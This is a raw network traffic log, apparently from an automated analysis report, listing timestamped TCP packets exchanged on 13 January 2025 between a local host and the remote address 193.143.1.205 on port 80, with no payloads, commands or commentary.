Jan 13, 2025 13:25:04.685648918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685658932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685671091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685679913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.685697079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.685723066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688452005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688465118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688476086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688486099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688498020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688498020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688508034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688519001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688524961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688570023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688612938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688636065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688647985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688657999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688668966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688678026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688679934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688694954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688699961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688719988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688733101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688740969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688741922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688760042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688765049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688772917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688783884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688793898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688795090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688807011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688822985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688841105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688844919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688879013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688885927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688896894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688909054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.688930988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.688977957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689017057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689022064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.689032078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689042091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689052105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689062119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689064980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.689085007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.689229012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689244986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689256907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689260960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.689266920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689279079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689289093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.689289093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.689311028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690429926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690443039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690464973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690469980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690507889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690594912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690609932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690620899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690632105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690643072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690648079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690658092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690669060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690679073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690685034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690691948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690701962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690712929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690716982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690735102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690824032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690844059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690854073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690860033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690887928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690929890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690941095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690952063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690962076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690972090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690973997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690984011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.690993071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.690994978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691005945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691021919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691041946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691065073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691185951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691248894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691267967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691281080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691286087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691292048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691303015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691319942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691332102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691332102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691354036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691365004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691365004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691375017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691391945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691402912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691414118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691420078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691425085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691452980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691559076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691576004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691586971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691596031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691596985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691617012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691617966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691631079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691642046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691652060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691657066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691664934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691675901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691675901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691688061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691694021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.691700935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.691735029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.702004910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702025890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702043056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702044964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.702055931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702066898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702079058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702081919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.702089071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.702105045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.702147961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.737818956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.737984896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.737996101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738008022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738023043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738023043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.738034010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738045931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738055944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.738061905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.738099098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.740684032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740820885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740839958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740859032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.740948915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740959883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740972042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740983009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740992069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.740995884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.741003990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.741028070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.756081104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773027897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773046017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773058891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773066044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773071051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773083925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773094893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773097038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773107052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773145914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773317099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773328066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773339987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773380995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773463011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773474932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773485899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773495913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.773499966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.773530960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776412010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776422977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776449919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776453972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776462078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776473045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776484966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776484966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776496887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776520014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776555061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776561022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776568890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776581049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776598930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776602030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776611090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776622057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776633024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776634932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776643991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776654959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776655912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776667118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776678085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776689053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776705027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776711941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776716948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776729107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776752949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776777029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.776896954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776907921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776920080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.776943922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777041912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777053118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777070045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777081966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777081013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777092934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777102947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777110100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777116060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777126074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777129889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777151108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777177095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777188063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777199984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777209997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777215004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777223110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777244091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777261019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777364016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777374029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777411938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777550936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777563095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777574062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777591944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777595997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777602911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777615070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777626038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777626991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777638912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777650118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777651072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777662039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777671099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777698994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777740002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777751923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777761936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777774096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777801037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777827024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777896881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777909040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777920008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777930975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777940035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777942896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777956009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.777967930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.777986050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.778220892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778232098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778244019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778254032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778264046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778275013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.778281927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.778317928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.807373047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807409048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807461977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.807682037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807693958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807707071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807734966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.807826996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807862043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.807985067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.807996988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.808007956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.808032036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.809048891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809087038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.809227943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809238911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809256077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809266090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809277058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809283018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809284925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.809294939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809323072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.809362888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809374094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809386015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.809393883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.809415102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.810800076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.810811043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.810822964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.810832977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.810843945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.810852051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.810872078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.824361086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.824697018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824708939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824721098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824732065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824739933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.824760914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824768066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.824771881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824784040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824798107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 13:25:04.824819088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.824840069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 13:25:04.827122927 CET	80	49711	193.143.1.205	192.168.2.6
